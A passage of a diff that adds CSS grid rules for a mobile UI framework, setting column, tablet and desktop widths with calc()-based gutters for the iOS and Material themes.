.ios .row.no-gap .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + } + .ios .row .tablet-auto:nth-last-child(21), + .ios .row .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); + } + .ios .row.no-gap .tablet-auto:nth-last-child(21), + .ios .row.no-gap .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + } +} +@media (min-width: 1025px) { + .ios .row .desktop-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .desktop-100 { + width: 100%; + } + .ios .row .desktop-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); + } + .ios .row.no-gap .desktop-95 { + width: 95%; + } + .ios .row .desktop-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); + } + .ios .row.no-gap .desktop-90 { + width: 90%; + } + .ios .row .desktop-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); + } + .ios .row.no-gap .desktop-85 { + width: 85%; + } + .ios .row .desktop-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); + } + .ios .row.no-gap .desktop-80 { + width: 80%; + } + .ios .row .desktop-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); + } + .ios .row.no-gap .desktop-75 { + width: 75%; + } + .ios .row .desktop-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); + } + .ios .row.no-gap .desktop-70 { + width: 70%; + } + .ios .row .desktop-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); + } + .ios .row.no-gap .desktop-66 { + width: 66.66666666666666%; + } + .ios .row .desktop-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); + } + .ios .row.no-gap .desktop-65 { + width: 65%; + } + .ios .row .desktop-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); + } + .ios .row.no-gap .desktop-60 { + width: 60%; + } + .ios .row .desktop-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); + } + .ios .row.no-gap .desktop-55 { + width: 55%; + } + .ios .row .desktop-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .desktop-50 { + width: 50%; + } + .ios .row .desktop-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); + } + .ios .row.no-gap .desktop-45 { + width: 45%; + } + .ios .row .desktop-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); + } + .ios .row.no-gap .desktop-40 { + width: 40%; + } + .ios .row .desktop-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); + } + .ios .row.no-gap .desktop-35 { + width: 35%; + } + .ios .row .desktop-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .desktop-33 { + width: 33.333333333333336%; + } + .ios .row .desktop-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); + } + .ios .row.no-gap .desktop-30 { + width: 30%; + } + .ios .row .desktop-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .desktop-25 { + width: 25%; + } + .ios .row .desktop-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .desktop-20 { + width: 20%; + } + .ios .row .desktop-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); + } + .ios .row.no-gap .desktop-15 { + width: 15%; + } + .ios .row .desktop-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .desktop-10 { + width: 10%; + } + .ios .row .desktop-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .desktop-5 { + width: 5%; + } + .ios .row .desktop-auto:nth-last-child(1), + .ios .row .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .desktop-auto:nth-last-child(1), + .ios .row.no-gap .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + } + .ios .row .desktop-auto:nth-last-child(2), + .ios .row .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .desktop-auto:nth-last-child(2), + .ios .row.no-gap .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + } + .ios .row .desktop-auto:nth-last-child(3), + .ios .row .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .desktop-auto:nth-last-child(3), + .ios .row.no-gap .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + } + .ios .row .desktop-auto:nth-last-child(4), + .ios .row .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .desktop-auto:nth-last-child(4), + .ios .row.no-gap .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + } + .ios .row .desktop-auto:nth-last-child(5), + .ios .row .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .desktop-auto:nth-last-child(5), + .ios .row.no-gap .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + } + .ios .row .desktop-auto:nth-last-child(6), + .ios .row .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); + } + .ios .row.no-gap .desktop-auto:nth-last-child(6), + .ios .row.no-gap .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + } + .ios .row .desktop-auto:nth-last-child(7), + .ios .row .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); + } + .ios .row.no-gap .desktop-auto:nth-last-child(7), + .ios .row.no-gap .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + } + .ios .row .desktop-auto:nth-last-child(8), + .ios .row .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + width: calc((100% - 15px*7) / 8); + } + .ios .row.no-gap .desktop-auto:nth-last-child(8), + .ios .row.no-gap .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + } + .ios .row .desktop-auto:nth-last-child(9), + .ios .row .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); + } + .ios .row.no-gap .desktop-auto:nth-last-child(9), + .ios .row.no-gap .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + } + .ios .row .desktop-auto:nth-last-child(10), + .ios .row .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .desktop-auto:nth-last-child(10), + .ios .row.no-gap .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + } + .ios .row .desktop-auto:nth-last-child(11), + .ios .row .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); + } + .ios .row.no-gap .desktop-auto:nth-last-child(11), + .ios .row.no-gap .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + } + .ios .row .desktop-auto:nth-last-child(12), + .ios .row .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); + } + .ios .row.no-gap .desktop-auto:nth-last-child(12), + .ios .row.no-gap .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + } + .ios .row .desktop-auto:nth-last-child(13), + .ios .row .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); + } + .ios .row.no-gap .desktop-auto:nth-last-child(13), + .ios .row.no-gap .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + } + .ios .row .desktop-auto:nth-last-child(14), + .ios .row .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); + } + .ios .row.no-gap .desktop-auto:nth-last-child(14), + .ios .row.no-gap .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + } + .ios .row .desktop-auto:nth-last-child(15), + .ios .row .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); + } + .ios .row.no-gap .desktop-auto:nth-last-child(15), + .ios .row.no-gap .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + } + .ios .row .desktop-auto:nth-last-child(16), + .ios .row .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + width: calc((100% - 15px*15) / 16); + } + .ios .row.no-gap .desktop-auto:nth-last-child(16), + .ios .row.no-gap .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + } + .ios .row .desktop-auto:nth-last-child(17), + .ios .row .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); + } + .ios .row.no-gap .desktop-auto:nth-last-child(17), + .ios .row.no-gap .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + } + .ios .row .desktop-auto:nth-last-child(18), + .ios .row .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); + } + .ios .row.no-gap .desktop-auto:nth-last-child(18), + .ios .row.no-gap .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + } + .ios .row .desktop-auto:nth-last-child(19), + .ios .row .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); + } + .ios .row.no-gap .desktop-auto:nth-last-child(19), + .ios .row.no-gap .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + } + .ios .row .desktop-auto:nth-last-child(20), + .ios .row .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .desktop-auto:nth-last-child(20), + .ios .row.no-gap .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + } + .ios .row .desktop-auto:nth-last-child(21), + .ios .row .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); + } + .ios .row.no-gap .desktop-auto:nth-last-child(21), + .ios .row.no-gap .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + } +} +/* === Grid === */ +.md .row .col-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); +} +.md .row.no-gap .col-100 { + width: 100%; +} +.md .row .col-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); +} +.md .row.no-gap .col-95 { + width: 95%; +} +.md .row .col-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); +} +.md .row.no-gap .col-90 { + width: 90%; +} +.md .row .col-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); +} +.md .row.no-gap .col-85 { + width: 85%; +} +.md .row .col-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); +} +.md .row.no-gap .col-80 { + width: 80%; +} +.md .row .col-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); +} +.md .row.no-gap .col-75 { + width: 75%; +} +.md .row .col-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); +} +.md .row.no-gap .col-70 { + width: 70%; +} +.md .row .col-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); +} +.md .row.no-gap .col-66 { + width: 66.66666666666666%; +} +.md .row .col-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); +} +.md .row.no-gap .col-65 { + width: 65%; +} +.md .row .col-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); +} +.md .row.no-gap .col-60 { + width: 60%; +} +.md .row .col-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); +} +.md .row.no-gap .col-55 { + width: 55%; +} +.md .row .col-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); +} +.md .row.no-gap .col-50 { + width: 50%; +} +.md .row .col-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); +} +.md .row.no-gap .col-45 { + width: 45%; +} +.md .row .col-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); +} +.md .row.no-gap .col-40 { + width: 40%; +} +.md .row .col-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); +} +.md .row.no-gap .col-35 { + width: 35%; +} +.md .row .col-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); +} +.md .row.no-gap .col-33 { + width: 33.333333333333336%; +} +.md .row .col-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); +} +.md .row.no-gap .col-30 { + width: 30%; +} +.md .row .col-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); +} +.md .row.no-gap .col-25 { + width: 25%; +} +.md .row .col-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); +} +.md .row.no-gap .col-20 { + width: 20%; +} +.md .row .col-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); +} +.md .row.no-gap .col-15 { + width: 15%; +} +.md .row .col-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); +} +.md .row.no-gap .col-10 { + width: 10%; +} +.md .row .col-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); +} +.md .row.no-gap .col-5 { + width: 5%; +} +.md .row .col:nth-last-child(1), +.md .row .col:nth-last-child(1) ~ .col { + width: 100%; + width: calc((100% - 16px*0) / 1); +} +.md .row.no-gap .col:nth-last-child(1), +.md .row.no-gap .col:nth-last-child(1) ~ .col { + width: 100%; +} +.md .row .col:nth-last-child(2), +.md .row .col:nth-last-child(2) ~ .col { + width: 50%; + width: calc((100% - 16px*1) / 2); +} +.md .row.no-gap .col:nth-last-child(2), +.md .row.no-gap .col:nth-last-child(2) ~ .col { + width: 50%; +} +.md .row .col:nth-last-child(3), +.md .row .col:nth-last-child(3) ~ .col { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); +} +.md .row.no-gap .col:nth-last-child(3), +.md .row.no-gap .col:nth-last-child(3) ~ .col { + width: 33.33333333%; +} +.md .row .col:nth-last-child(4), +.md .row .col:nth-last-child(4) ~ .col { + width: 25%; + width: calc((100% - 16px*3) / 4); +} +.md .row.no-gap .col:nth-last-child(4), +.md .row.no-gap .col:nth-last-child(4) ~ .col { + width: 25%; +} +.md .row .col:nth-last-child(5), +.md .row .col:nth-last-child(5) ~ .col { + width: 20%; + width: calc((100% - 16px*4) / 5); +} +.md .row.no-gap .col:nth-last-child(5), +.md .row.no-gap .col:nth-last-child(5) ~ .col { + width: 20%; +} +.md .row .col:nth-last-child(6), +.md .row .col:nth-last-child(6) ~ .col { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); +} +.md .row.no-gap .col:nth-last-child(6), +.md .row.no-gap .col:nth-last-child(6) ~ .col { + width: 16.66666667%; +} +.md .row .col:nth-last-child(7), +.md .row .col:nth-last-child(7) ~ .col { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); +} +.md .row.no-gap .col:nth-last-child(7), +.md .row.no-gap .col:nth-last-child(7) ~ .col { + width: 14.28571429%; +} +.md .row .col:nth-last-child(8), +.md .row .col:nth-last-child(8) ~ .col { + width: 12.5%; + width: calc((100% - 16px*7) / 8); +} +.md .row.no-gap .col:nth-last-child(8), +.md .row.no-gap .col:nth-last-child(8) ~ .col { + width: 12.5%; +} +.md .row .col:nth-last-child(9), +.md .row .col:nth-last-child(9) ~ .col { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); +} +.md .row.no-gap .col:nth-last-child(9), +.md .row.no-gap .col:nth-last-child(9) ~ .col { + width: 11.11111111%; +} +.md .row .col:nth-last-child(10), +.md .row .col:nth-last-child(10) ~ .col { + width: 10%; + width: calc((100% - 16px*9) / 10); +} +.md .row.no-gap .col:nth-last-child(10), +.md .row.no-gap .col:nth-last-child(10) ~ .col { + width: 10%; +} +.md .row .col:nth-last-child(11), +.md .row .col:nth-last-child(11) ~ .col { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); +} +.md .row.no-gap .col:nth-last-child(11), +.md .row.no-gap .col:nth-last-child(11) ~ .col { + width: 9.09090909%; +} +.md .row .col:nth-last-child(12), +.md .row .col:nth-last-child(12) ~ .col { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); +} +.md .row.no-gap .col:nth-last-child(12), +.md .row.no-gap .col:nth-last-child(12) ~ .col { + width: 8.33333333%; +} +.md .row .col:nth-last-child(13), +.md .row .col:nth-last-child(13) ~ .col { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); +} +.md .row.no-gap .col:nth-last-child(13), +.md .row.no-gap .col:nth-last-child(13) ~ .col { + width: 7.69230769%; +} +.md .row .col:nth-last-child(14), +.md .row .col:nth-last-child(14) ~ .col { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); +} +.md .row.no-gap .col:nth-last-child(14), +.md .row.no-gap .col:nth-last-child(14) ~ .col { + width: 7.14285714%; +} +.md .row .col:nth-last-child(15), +.md .row .col:nth-last-child(15) ~ .col { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); +} +.md .row.no-gap .col:nth-last-child(15), +.md .row.no-gap .col:nth-last-child(15) ~ .col { + width: 6.66666667%; +} +.md .row .col:nth-last-child(16), +.md .row .col:nth-last-child(16) ~ .col { + width: 6.25%; + width: calc((100% - 16px*15) / 16); +} +.md .row.no-gap .col:nth-last-child(16), +.md .row.no-gap .col:nth-last-child(16) ~ .col { + width: 6.25%; +} +.md .row .col:nth-last-child(17), +.md .row .col:nth-last-child(17) ~ .col { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); +} +.md .row.no-gap .col:nth-last-child(17), +.md .row.no-gap .col:nth-last-child(17) ~ .col { + width: 5.88235294%; +} +.md .row .col:nth-last-child(18), +.md .row .col:nth-last-child(18) ~ .col { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); +} +.md .row.no-gap .col:nth-last-child(18), +.md .row.no-gap .col:nth-last-child(18) ~ .col { + width: 5.55555556%; +} +.md .row .col:nth-last-child(19), +.md .row .col:nth-last-child(19) ~ .col { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); +} +.md .row.no-gap .col:nth-last-child(19), +.md .row.no-gap .col:nth-last-child(19) ~ .col { + width: 5.26315789%; +} +.md .row .col:nth-last-child(20), +.md .row .col:nth-last-child(20) ~ .col { + width: 5%; + width: calc((100% - 16px*19) / 20); +} +.md .row.no-gap .col:nth-last-child(20), +.md .row.no-gap .col:nth-last-child(20) ~ .col { + width: 5%; +} +.md .row .col:nth-last-child(21), +.md .row .col:nth-last-child(21) ~ .col { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); +} +.md .row.no-gap .col:nth-last-child(21), +.md .row.no-gap .col:nth-last-child(21) ~ .col { + width: 4.76190476%; +} +@media (min-width: 768px) { + .md .row .tablet-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .tablet-100 { + width: 100%; + } + .md .row .tablet-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); + } + .md .row.no-gap .tablet-95 { + width: 95%; + } + .md .row .tablet-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); + } + .md .row.no-gap .tablet-90 { + width: 90%; + } + .md .row .tablet-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); + } + .md .row.no-gap .tablet-85 { + width: 85%; + } + .md .row .tablet-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); + } + .md .row.no-gap .tablet-80 { + width: 80%; + } + .md .row .tablet-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); + } + .md .row.no-gap .tablet-75 { + width: 75%; + } + .md .row .tablet-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); + } + .md .row.no-gap .tablet-70 { + width: 70%; + } + .md .row .tablet-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); + } + .md .row.no-gap .tablet-66 { + width: 66.66666666666666%; + } + .md .row .tablet-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); + } + .md .row.no-gap .tablet-65 { + width: 65%; + } + .md .row .tablet-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); + } + .md .row.no-gap .tablet-60 { + width: 60%; + } + .md .row .tablet-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); + } + .md .row.no-gap .tablet-55 { + width: 55%; + } + .md .row .tablet-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .tablet-50 { + width: 50%; + } + .md .row .tablet-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); + } + .md .row.no-gap .tablet-45 { + width: 45%; + } + .md .row .tablet-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); + } + .md .row.no-gap .tablet-40 { + width: 40%; + } + .md .row .tablet-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); + } + .md .row.no-gap .tablet-35 { + width: 35%; + } + .md .row .tablet-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .tablet-33 { + width: 33.333333333333336%; + } + .md .row .tablet-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); + } + .md .row.no-gap .tablet-30 { + width: 30%; + } + .md .row .tablet-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .tablet-25 { + width: 25%; + } + .md .row .tablet-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .tablet-20 { + width: 20%; + } + .md .row .tablet-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); + } + .md .row.no-gap .tablet-15 { + width: 15%; + } + .md .row .tablet-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .tablet-10 { + width: 10%; + } + .md .row .tablet-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .tablet-5 { + width: 5%; + } + .md .row .tablet-auto:nth-last-child(1), + .md .row .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .tablet-auto:nth-last-child(1), + .md .row.no-gap .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + } + .md .row .tablet-auto:nth-last-child(2), + .md .row .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .tablet-auto:nth-last-child(2), + .md .row.no-gap .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + } + .md .row .tablet-auto:nth-last-child(3), + .md .row .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .tablet-auto:nth-last-child(3), + .md .row.no-gap .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + } + .md .row .tablet-auto:nth-last-child(4), + .md .row .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .tablet-auto:nth-last-child(4), + .md .row.no-gap .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + } + .md .row .tablet-auto:nth-last-child(5), + .md .row .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .tablet-auto:nth-last-child(5), + .md .row.no-gap .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + } + .md .row .tablet-auto:nth-last-child(6), + .md .row .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); + } + .md .row.no-gap .tablet-auto:nth-last-child(6), + .md .row.no-gap .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + } + .md .row .tablet-auto:nth-last-child(7), + .md .row .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); + } + .md .row.no-gap .tablet-auto:nth-last-child(7), + .md .row.no-gap .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + } + .md .row .tablet-auto:nth-last-child(8), + .md .row .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + width: calc((100% - 16px*7) / 8); + } + .md .row.no-gap .tablet-auto:nth-last-child(8), + .md .row.no-gap .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + } + .md .row .tablet-auto:nth-last-child(9), + .md .row .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); + } + .md .row.no-gap .tablet-auto:nth-last-child(9), + .md .row.no-gap .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + } + .md .row .tablet-auto:nth-last-child(10), + .md .row .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .tablet-auto:nth-last-child(10), + .md .row.no-gap .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + } + .md .row .tablet-auto:nth-last-child(11), + .md .row .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); + } + .md .row.no-gap .tablet-auto:nth-last-child(11), + .md .row.no-gap .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + } + .md .row .tablet-auto:nth-last-child(12), + .md .row .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); + } + .md .row.no-gap .tablet-auto:nth-last-child(12), + .md .row.no-gap .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + } + .md .row .tablet-auto:nth-last-child(13), + .md .row .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); + } + .md .row.no-gap .tablet-auto:nth-last-child(13), + .md .row.no-gap .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + } + .md .row .tablet-auto:nth-last-child(14), + .md .row .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); + } + .md .row.no-gap .tablet-auto:nth-last-child(14), + .md .row.no-gap .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + } + .md .row .tablet-auto:nth-last-child(15), + .md .row .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); + } + .md .row.no-gap .tablet-auto:nth-last-child(15), + .md .row.no-gap .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + } + .md .row .tablet-auto:nth-last-child(16), + .md .row .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + width: calc((100% - 16px*15) / 16); + } + .md .row.no-gap .tablet-auto:nth-last-child(16), + .md .row.no-gap .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + } + .md .row .tablet-auto:nth-last-child(17), + .md .row .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); + } + .md .row.no-gap .tablet-auto:nth-last-child(17), + .md .row.no-gap .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + } + .md .row .tablet-auto:nth-last-child(18), + .md .row .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); + } + .md .row.no-gap .tablet-auto:nth-last-child(18), + .md .row.no-gap .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + } + .md .row .tablet-auto:nth-last-child(19), + .md .row .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); + } + .md .row.no-gap .tablet-auto:nth-last-child(19), + .md .row.no-gap .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + } + .md .row .tablet-auto:nth-last-child(20), + .md .row .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .tablet-auto:nth-last-child(20), + .md .row.no-gap .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + } + .md .row .tablet-auto:nth-last-child(21), + .md .row .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); + } + .md .row.no-gap .tablet-auto:nth-last-child(21), + .md .row.no-gap .tablet-auto:nth-last-child(21) ~ 